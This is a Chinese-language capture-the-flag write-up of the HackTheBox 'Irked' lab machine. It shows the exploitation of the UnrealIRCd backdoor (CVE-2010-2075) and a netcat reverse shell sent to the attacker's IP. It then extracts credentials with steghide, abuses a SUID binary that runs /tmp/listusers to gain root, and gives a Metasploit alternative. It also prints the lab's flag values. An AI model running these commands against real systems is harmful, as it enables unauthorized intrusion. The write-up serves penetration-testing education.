摘要
本文详细记录了对 HTB Irked 靶机的渗透测试全过程。侦察阶段识别出目标运行了带有后门的 UnrealIRCd 服务,通过该后门获取初始访问权限。随后利用隐写术获取用户凭据完成横向移动,最终通过利用具有 SUID 权限的可执行文件成功获取 root 权限。本文展示了完整的攻击流程,从信息收集到提权,值得一看。
关键技术
- UnrealIRCd 后门漏洞(CVE-2010-2075)利用
- Steghide 图像隐写
- SUID 二进制文件提权
- 网络流量验证(ICMP)
1. 初始侦察阶段
完整端口扫描
nmap -sT -min-rate 10000 -p- 10.10.10.117
命令参数解释:
-sT
:执行 TCP 扫描-min-rate 10000
:设置发包速率不低于每秒 10000 个,加速扫描-p-
:扫描所有 65535 个 TCP 端口10.10.10.117
:目标 IP 地址
扫描结果:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
6697/tcp open ircs-u
8067/tcp open infi-async
59196/tcp open unknown
65534/tcp open unknown
详细服务扫描
nmap -sT -sCV -p22,80,111,6697,8067,59196,65534 10.10.10.117
命令参数解释:
-sT
:TCP 连接扫描-sCV
:组合参数,等同于-sC -sV
,同时启用默认脚本扫描和服务版本检测-p22,80,111,6697,8067,59196,65534
:仅扫描指定端口10.10.10.117
:目标 IP 地址
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 32988/udp6 status
| 100024 1 43233/tcp6 status
| 100024 1 47593/udp status
|_ 100024 1 59196/tcp status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
59196/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
从初步扫描结果可以看出,目标机器运行着 SSH、HTTP、RPC 和 UnrealIRCd 服务,并且操作系统为 Debian Linux。
2. 服务探测与信息收集
在初始扫描中发现 UnrealIRCd 服务运行在多个端口上(6697/tcp、8067/tcp、65534/tcp)。UnrealIRCd 有一个著名的后门漏洞,需要进一步确认目标上的版本是否存在此漏洞。
使用 Nmap 针对 IRC 服务进行漏洞探测
nmap -p 6667,6697,8067,65534 --script irc-unrealircd-backdoor 10.10.10.117
命令参数解释:
-p 6667,6697,8067,65534
:指定要扫描的 IRC 相关端口--script irc-unrealircd-backdoor
:使用特定的 Nmap 脚本检测 UnrealIRCd 后门漏洞10.10.10.117
:目标 IP 地址
扫描结果:
PORT STATE SERVICE
6667/tcp closed irc
6697/tcp open ircs-u
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
8067/tcp open infi-async
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
65534/tcp open unknown
扫描结果确认端口 8067 上运行的 UnrealIRCd 存在后门漏洞。这是一个严重的远程命令执行漏洞(CVE-2010-2075),允许攻击者在服务器上执行任意命令。
3. 漏洞识别与初始访问
确认目标存在 UnrealIRCd 后门漏洞后,开始尝试利用该漏洞执行命令。
漏洞验证与命令执行
首先尝试使用 netcat 连接并发送后门命令检查是否可执行:
echo -e "AB;id\n" | nc 10.10.10.117 8067
命令解释:
echo -e "AB;id\n"
:生成一个字符串,其中AB;
是触发后门的特殊前缀,id
是要执行的命令|
:管道符,将前一个命令的输出作为后一个命令的输入nc 10.10.10.117 8067
:使用 netcat 连接到目标 IP 的 8067 端口
没有回显,可能就是无法回显,尝试在没有回显的情况下验证漏洞
使用 ICMP 验证命令执行
设置本地监听 ICMP 数据包:
tcpdump -ni tun0 icmp
命令参数解释:
-n
:不将 IP 地址解析为主机名-i tun0
:指定监听的网络接口为 tun0(通常用于 VPN 连接)icmp
:只捕获 ICMP 协议的数据包
发送 ping 命令到目标机器:
echo -e "AB; ping -c 1 10.10.16.26\n" | nc 10.10.10.117 8067
监听到 ICMP 数据包:
07:51:26.977836 IP 10.10.10.117 > 10.10.16.26: ICMP echo request, id 5837, seq 1, length 64
07:51:26.977907 IP 10.10.16.26 > 10.10.10.117: ICMP echo reply, id 5837, seq 1, length 64
成功收到来自目标机器的 ICMP 请求,证实命令成功执行,漏洞存在并可被利用。
获取反弹 Shell
在本地设置 netcat 监听:
nc -lvnp 9999
命令参数解释:
-l
:监听模式-v
:详细输出-n
:不进行 DNS 解析-p 9999
:指定监听端口为 9999
发送反弹 shell 命令:
echo -e "AB; nc -e /bin/bash 10.10.16.26 9999" | nc 10.10.10.117 8067
命令解释:
AB;
:后门触发前缀nc -e /bin/bash 10.10.16.26 9999
:使用 netcat 将 bash shell 反弹到 本机 IP 和端口
获得反弹 shell 后的输出:
listening on [any] 9999 ...
connect to [10.10.16.26] from (UNKNOWN) [10.10.10.117] 33632
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
成功获取到目标系统的 shell,以 ircd 用户权限运行。
优化 shell
script /dev/null -c bash
命令解释:
script
:启动 script 程序,记录终端会话/dev/null
:输出重定向到空设备-c bash
:执行 bash 作为子进程
这个命令可以提供一个更加完整的交互式 shell,支持清屏、历史记录和 tab 补全等功能。
4. 横向移动
获取 ircd 用户的 shell 后,发现无法直接访问用户标志(user.txt):
ircd@irked:/home/djmardov$ cat user.txt
cat: user.txt: Permission denied
需要寻找其他方法获取 djmardov 用户的权限。
发现隐藏信息
经过一番寻找,在 djmardov 用户的文档目录下发现隐藏备份文件:
ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
经常打ctf的都知道有个在图片隐写有个很出名的工具叫steghide,这里给了我们一个密码,而恰好目标的80端口展示了一张图片,尝试利用这个密码读取图片中的隐藏内容。
下载并分析80端口的图片
下载 Web 服务器上的图片:
wget 10.10.10.117/irked.jpg
使用 steghide 提取隐藏信息:
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".
命令参数解释:
extract
:提取隐藏数据-sf irked.jpg
:指定源文件-p UPupDOWNdownLRlrBAbaSSss
:提供密码
查看提取出来的数据:
cat pass.txt
Kab6h+m+bbp2J:HG
拿到一个口令Kab6h+m+bbp2J:HG
使用拿到的口令登录
尝试使用 SSH 和找到的凭据登录:
ssh irked@10.10.10.117
ssh djmardov@10.10.10.117
djmardov登录成功,获取初步权限:
djmardov@irked:~$ whoami
djmardov
成功读取key1:
djmardov@irked:~$ cat user.txt
3fcbf2f50746c066a685886fe407079e
5. 权限提升前的信息收集
获取 djmardov 用户权限后,开始寻找权限提升的途径。
查看目标上的SUID权限文件
find / -user root -perm -4000 -print 2>/dev/null
命令参数解释:
-user root
:文件所有者为 root-perm -4000
:查找设置了 SUID 权限的文件-print
:打印找到的结果2>/dev/null
:将错误信息重定向到空设备,不显示权限不足的错误
在结果中发现不常见的 SUID 可执行文件:
/usr/bin/viewuser
分析可疑 SUID 文件
检查文件权限:
ls -al /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
这个文件具有 SUID 权限(-rwsr-xr-x
),运行时将以 root 权限执行。
执行该文件看看它的行为:
/usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-04-25 18:35 (:0)
djmardov pts/1 2025-04-25 20:42 (10.10.16.26)
sh: 1: /tmp/listusers: not found
程序尝试执行 /tmp/listusers
文件但找不到。这表明该程序尝试执行/读取这个外部文件
6. 权限提升
利用 SUID 程序执行外部文件的漏洞
创建自定义的 /tmp/listusers
文件并赋予可执行权限:
echo 'whoami' > /tmp/listusers
chmod 777 /tmp/listusers
命令解释:
echo 'whoami' > /tmp/listusers
:创建一个内容为whoami
命令的文件chmod 777 /tmp/listusers
:赋予该文件所有用户的读、写和执行权限
执行 viewuser 程序:
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-04-25 18:35 (:0)
djmardov pts/1 2025-04-25 20:42 (10.10.16.26)
root
输出 root
证实了两点:
- viewuser 程序会执行
/tmp/listusers
文件中的内容 - 执行是以 root 权限进行的
获取 root shell
修改 /tmp/listusers
文件内容为获取 shell:
echo sh > /tmp/listusers
再次执行 viewuser 程序:
$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-04-25 18:35 (:0)
djmardov pts/1 2025-04-25 20:42 (10.10.16.26)
# whoami
root
成功提权至root
成功get key2:
# cat /root/root.txt
a337d51ada3a849baf449cf7c935aaea
7. 总结
安全漏洞列表
- UnrealIRCd 后门漏洞 (CVE-2010-2075)
- 严重程度:高
- 影响:允许未经身份验证的远程攻击者执行任意代码
- 修复建议:升级到安全版本的 UnrealIRCd
- SUID 二进制文件中的不安全路径使用
- 严重程度:高
- 影响:允许低权限用户获得 root 权限
- 修复建议:禁用不必要的SUID权限命令
完整攻击链路图
端口扫描与服务识别
↓
识别 UnrealIRCd 后门漏洞
↓
利用漏洞获取 ircd 用户 shell
↓
发现 steghide 密码线索
↓
从网站图片中提取隐藏凭据
↓
使用提取的凭据登录 djmardov 用户
↓
发现 SUID 权限的 viewuser 程序
↓
利用 viewuser 中的不安全路径(/tmp)获取 root 权限
各阶段关键点总结
- 初始侦察阶段
- 全面的端口扫描识别了所有开放服务
- 服务版本扫描提供了攻击面的详细信息
- 漏洞识别阶段
- 使用专门的 Nmap 脚本确认后门漏洞
- 使用 ICMP 流量验证命令执行能力
- 初始访问阶段
- 利用 UnrealIRCd 后门获得 ircd 用户权限
- 使用反弹 shell 技术建立持久连接
- 横向移动阶段
- 仔细搜索发现隐藏的备份文件
- 利用隐写术技术获取凭据
- 权限提升阶段
- 系统性搜索 SUID 二进制文件
- 识别并利用不安全的路径使用漏洞
攻击向量简明展示
- 远程代码执行 → UnrealIRCd 后门
- 隐写术信息泄露 → 用户凭据获取
- 不安全路径使用 → 权限提升到 root
结束语
本次渗透测试展示了多个安全漏洞的组合利用过程,实现了完整的攻击链。
附录:使用 Metasploit 获取初始访问权限的攻击流程
作为替代方案,也可以使用 Metasploit 框架快速利用 UnrealIRCd 后门漏洞:
# 搜索相关模块
msf6 > search ircd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
# 使用 UnrealIRCd 后门模块
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
sf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
# 设置目标主机
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
# 设置目标端口
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 8067
# 展示 payload
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser . normal No Add user with useradd
1 payload/cmd/unix/bind_perl . normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 . normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby . normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 . normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic . normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse . normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl . normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl . normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl . normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby . normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl . normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet . normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
# 选择 Perl 反向 shell payload
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse_perl
# 设置监听地址和端口
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.16.26
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 4444
# 执行漏洞利用
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 10.10.16.26:4444
[*] 10.10.10.117:8067 - Connected to 10.10.10.117:8067...
:irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:8067 - Sending backdoor command...
[*] Command shell session 1 opened (10.10.16.26:4444 -> 10.10.10.117:47972) at 2025-04-26 07:58:13 +0800
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
whoami
ircd
这种方法的优势在于使用预定义的 payload,只要填参数就好啦,避免了兼容性问题,并减少了手动配置的工作量。
Comments NOTHING